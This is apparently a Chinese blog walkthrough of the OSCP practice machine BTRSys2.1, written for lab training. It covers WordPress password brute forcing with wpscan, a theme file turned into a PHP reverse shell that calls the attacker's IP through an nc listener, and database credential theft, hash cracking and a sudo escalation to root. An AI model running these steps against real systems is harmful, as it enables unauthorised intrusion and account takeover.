• OSCP系列靶场-Intermediate-BTRSys2.1保姆级


    OSCP系列靶场-Intermediate-BTRSys2.1

    总结

    getwebshell : 目录扫描 → 发现cms-wordpresswpscan专用扫描 → 扫描出账号 → 用字典爆破密码 → 登录wp后台 → 模板处修改 → 反弹shell

    提 权 思 路 : history发现可疑操作 → wp配置文件发现mysql密码 → mysql发现用户md5密码 → 解密登录用户 → sudo su提权

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.233

    • 启动靶机
      获取目标机器IP → 192.168.234.50

    信息收集-端口扫描

    目标开放端口收集

    • Nmap开放端口扫描2次(多次扫描减少误扫)
    sudo nmap --min-rate 10000 -p- 192.168.234.50
    
    PORT   STATE SERVICE                         CAST>  mtu 1500
    21/tcp open  ftp                             
    22/tcp open  ssh                             
    80/tcp open  http      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6


    开放的端口->21,22,80

    目标端口对应服务探测

    # tcp探测
    sudo nmap -sT -sV -O -sC -p21,22,80 192.168.234.50
    
    PORT   STATE SERVICE VERSION
    21/tcp open  ftp     vsftpd 3.0.3
    22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 
    80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    信息收集-端口测试

    21-FTP端口的信息收集

    21-FTP版本版本信息与MSF利用

    通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
    namp探测版本为vsftpd 3.0.3

    # vsftpd 3.0.3配置文件一般在如下位置
    /etc/vsftpd.conf
    
    • 1
    • 2

    尝试利用msf搜索是否存在可利用漏洞

    # 搜索对应脚本
    msf6 > searchsploit vsftpd 3.0.3
    
    • 1
    • 2

    远程拒绝服务 hhh 算了吧

    21-FTP端口匿名登录测试(成功)

    尝试匿名账号anonymous以及无密码进行登录测试

    # 利用ftp协议+ip进行连接测试
    ftp 192.168.234.50
    Name: anonymous
    
    • 1
    • 2
    • 3
    21-FTP端口-文件GET收集(无文件)

    登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
    利用GET下载文件

    # binary 以二进制模式传输文件,保证文件完整
    ftp > binary
    # 查看目录结构
    ftp > ls -al
    
    • 1
    • 2
    • 3
    • 4
    21-FTP端口-PT上传测试(无法上传)

    测试是否可以利用PUT上传文件

    # 建立一个text.txt的文件测试是否能上传
    touch text.txt
    # put 上传文件
    ftp > put text.txt
    
    • 1
    • 2
    • 3
    • 4

    22-SSH端口的信息收集

    22-SSH端口版本信息与MSF利用

    通过Nmap探测获得SSH的版本信息,可以尝试利用
    探测版本为OpenSSH 7.2p2 Ubuntu

    # 搜索对应脚本
    msf6 > searchsploit OpenSSH 7.2p2
    
    • 1
    • 2

    发现搜索到可利用的和用户枚举有关(待定)

    22-SSH协议支持的登录方式

    通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

    sudo ssh root<span class="label label-primary">@192.168.234.50</span> -v
    
    • 1

    显示publickeypassword就是支持密钥以及密码登录

    22-SSH手动登录尝试(无)

    因为支持密码登录,尝试root账户的密码弱密码尝试

    sudo ssh root<span class="label label-primary">@192.168.234.50</span> -p 22
    # 密码尝试
    password &gt; root
    
    • 1
    • 2
    • 3

    弱密码尝试失败

    22-SSH弱口令爆破(待定)

    因为支持密码登录,后期没有思路的话尝试root账户的密码爆破,利用工具hydra

    80-HTTP端口的信息收集

    访问 http://192.168.234.50:80 不是CMS我们直接从HTML隐藏信息收集开始
    主页就看到了一张图片

    信息收集-HTML隐藏信息查看
    # 利用html2text转换纯文本方便查看
    curl http://192.168.234.50:80 | html2text
    
    • 1
    • 2
    信息收集-目录扫描
    信息收集-目录扫描初步
    # 用两个扫描器进行扫描,更加的谨慎一些
    dirsearch -u http://192.168.234.50:80 -x 302,403,404
    
    • 1
    • 2
    gobuster dir -u http://192.168.234.50:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 &gt; gobuster.txt
    
    • 1

    静待结果

    漏洞探测-nikto扫描

    静待结果的同时尝试漏洞扫描

    nikto -h http://192.168.234.50:80
    
    • 1

    提示差不多,也是wordpress

    信息收集-目录访问

    正常来说,我们不能放弃每个端点的访问
    但是我们也要挑选优先级,发现了wordpressCMS

    首先查看robots.txt也是提示wordpress

    信息收集-漏洞扫描wpscan

    针对wordpress最好的方法是用扫描器先

    # 针对wordpress的专用扫描器
    # -e枚举 ap枚举插件 u枚举用户名 t枚举主题
    wpscan --url http://192.168.234.50:80/wordpress/ --enumerate ap,u,t
    
    • 1
    • 2
    • 3

    经过扫描发现了两个用户btriskadmin

    发现用户就要尝试暴力破解啦
    暴力破解的时候使用字典最好用cewl生成(主页只有图片)

    # 账号做成字典
    echo 'btrisk
    admin' &gt; user.txt
    # 暴力破解
    wpscan --url http://192.168.234.50:80/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5


    爆破了半天爆破出来了admin的密码admin 另一个难搞

    漏洞利用-getwebshell

    弱口令进入wp后台

    扫描的同时戳到了wp的登录界面,尝试一下弱口令

    http://192.168.234.50/wordpress/wp-login.php
    
    • 1

    好家伙,直接进来了(不然就尝试爆破密码进来咯)

    主题插件修改

    wordpress大部分的漏洞其实与插件有关,先找找插件
    现在有的插件Edit Plugins好像也没什么


    不敢直接编辑现有插件,怕会把wp弄崩
    尝试上传一个php反弹shell发现不太行


    换了一个地方


    通过搜索决定编辑一个不太重要的php主题,改为php反弹shell

    /wordpress/wp-content/themes/twentyfourteen/[内容]
    
    • 1

    尝试修改404.php


    修改成功

    修改插件getwebshell

    # 利用cp命令cp一个到当前文件夹并且命名为shell.php
    sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
    
    • 1
    • 2
    # 开启监听
    sudo nc -lvnp 6666
    
    • 1
    • 2

    反弹shell配置

    # 利用grep确定修改反弹shell_ip的第49行
    grep -n "127.0.0.1" shell.php                
    &gt; 49:$ip = '127.0.0.1';  // CHANGE THIS
    # 同理监听端口是第50行
    grep -n "1234" shell.php
    50:$port = 1234;       // CHANGE THIS
    # 利用sed命令替换里面的内容
    sed -i '49s/127.0.0.1/192.168.45.233/' shell.php
    sed -i '50s/1234/6666/' shell.php
    # 利用sed查看49与50行是否修改成功
    sed -n '49,50p' shell.php
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11


    复制shell.php的内容到模板中


    访问成功获取进入内网的凭证

    内网遨游-getshell

    交互shell

    由于获取的shell交互不友好,利用python获得新的交互shell

    # 利用python获取交互shell 
    python -c "import pty;pty.spawn('/bin/bash')";
    # python失败使用python3
    python3 -c "import pty;pty.spawn('/bin/bash')";
    
    • 1
    • 2
    • 3
    • 4

    FLAG1获取

    www-data<span class="label label-primary">@ubuntu</span>:/$ find / -name local.txt 2&gt;/dev/null
    /home/btrisk/local.txt
    www-data<span class="label label-primary">@ubuntu</span>:/$ cat /home/btrisk/local.txt
    4b8be4c2f5286b2476df38d4e6467c8c
    
    • 1
    • 2
    • 3
    • 4

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    # 确定发行版本
    www-data<span class="label label-primary">@ubuntu</span>:/$ lsb_release -a
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description:    Ubuntu 16.04.2 LTS
    Release:        16.04
    Codename:       xenial
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    发行版本为Ubuntu 16.04.2,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    www-data<span class="label label-primary">@ubuntu</span>:/$ uname -a
    Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    
    • 1
    • 2

    内核版本为4.4.0-62

    检测当前用户的权限
    www-data<span class="label label-primary">@ubuntu</span>:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    • 1
    • 2
    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    # 利用sudo -l寻找
    www-data<span class="label label-primary">@ubuntu</span>:/$ sudo -l
    [sudo] password for www-data: admin
    Sorry, try again.
    [sudo] password for www-data: root
    Sorry, user www-data may not run sudo on ubuntu.
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    发现需要密码

    列举出所有suid文件

    如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

    # -perm 文件权限
    www-data<span class="label label-primary">@ubuntu</span>:/$ find / -perm -u=s -type f 2&gt;/dev/null
    /bin/umount
    /bin/su
    /bin/ping
    /bin/fusermount
    /bin/mount
    /bin/ntfs-3g
    /bin/ping6
    /usr/lib/openssh/ssh-keysign
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/eject/dmcrypt-get-device
    /usr/bin/passwd
    /usr/bin/newgrp
    /usr/bin/chsh
    /usr/bin/sudo
    /usr/bin/chfn
    /usr/bin/gpasswd
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    /etc/passwd权限收集

    如果/etc/passwd具有写入权限可以尝试覆盖密码提权

    # 要注意是否是属主情况
    www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/passwd
    -rw-r--r-- 1 root root 1573 Mar 21  2017 /etc/passwd
    
    • 1
    • 2
    • 3
    /etc/shadow权限收集
    • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
    • 如果/etc/shadow具有可读权限可以爆破密码
    www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/shadow
    -rw-r----- 1 root shadow 1136 Mar  6  2020 /etc/shadow
    
    • 1
    • 2
    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    # 探查有CAP_SETUID标志的进程
    /usr/sbin/getcap -r / 2&gt;/dev/null
    
    • 1
    • 2
    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限

    # 寻找定时任务并修改进行提权
    cat /etc/crontab
    
    • 1
    • 2

    寻找root权限进程
    # 调整行列,方便查询进程
    stty rows 50 cols 250
    # 查找进程,是否存在root权限进程
    ps aux | grep root
    
    • 1
    • 2
    • 3
    • 4

    查看历史信息

    可能用户留下的历史信息具有有用的信息

    history
    
    • 1

    权限提升

    根据history发现了一些有趣的信息

    数据库配置信息发现

    www-data<span class="label label-primary">@ubuntu</span>:/var/www$ cd /var/www/html/wordpress
    www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ cat wp-config.php
    
    • 1
    • 2

    存在数据库的账号以及密码

    数据库敏感信息发现

    利用这些登录数据库

    mysql -u root -p 
    rootpassword!
    
    • 1
    • 2


    登录之后查看一些重要的信息

    show databases;
    use wordpress;
    show tables;
    
    • 1
    • 2
    • 3

    重点查找用户信息

    select * from wp_users;
    
    • 1

    发现了btrisk的密码a318e4507e5a74604aafb45e4741edd3md5加密

    解密md5密码

    尝试解密

    echo 'a318e4507e5a74604aafb45e4741edd3' &gt; pass.hash
    john pass.hash
    
    • 1
    • 2

    大概率是md5

    同时打开在线网站进行解密尝试
    https://www.somd5.com/


    发现密码为roottoor

    登录btrisk用户

    www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ su btrisk
    Password: roottoor
    
    btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ 
    
    • 1
    • 2
    • 3
    • 4

    sudo-su提权

    测试发现可以用任意sudo

    btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo -l
    [sudo] password for btrisk: roottoor
    
    Matching Defaults entries for btrisk on ubuntu:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User btrisk may run the following commands on ubuntu:
        (ALL : ALL) ALL
        (ALL : ALL) ALL
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    利用su提权

    btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo su
    root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# id    
    uid=0(root) gid=0(root) groups=0(root)
    root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# 
    
    • 1
    • 2
    • 3
    • 4

    提权成功

    FLAG2获取

    root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# cat /root/proof.txt
    cat /root/proof.txt
    f994ec8ac722337b7c3b7d873013917a
    
    
    • 1
    • 2
    • 3
    • 4

    后记

    看到登录界面要养成随手一输弱口令的习惯

    解密速度感人,kalicpu干满了,以后应该用hashcat解密

  • 相关阅读:
    TCP协议剩余机制,Ip协议
    华为防火墙基础自学系列 | IKE介绍
    vue官方文档(13)组件的局部注册
    excel中的引用与查找函数篇3
    websocket投送
    高并发场景下的分布式锁优化
    计算机视觉:一文搞懂卷积神经网络中的池化层
    Spring Cloud Config 使用 JDBC 方式
    对于html和css初学者,你有什么值得推荐的简单的网页适合练习?
    SparkSQL 总结
  • 原文地址:https://blog.csdn.net/qq_61812944/article/details/133012992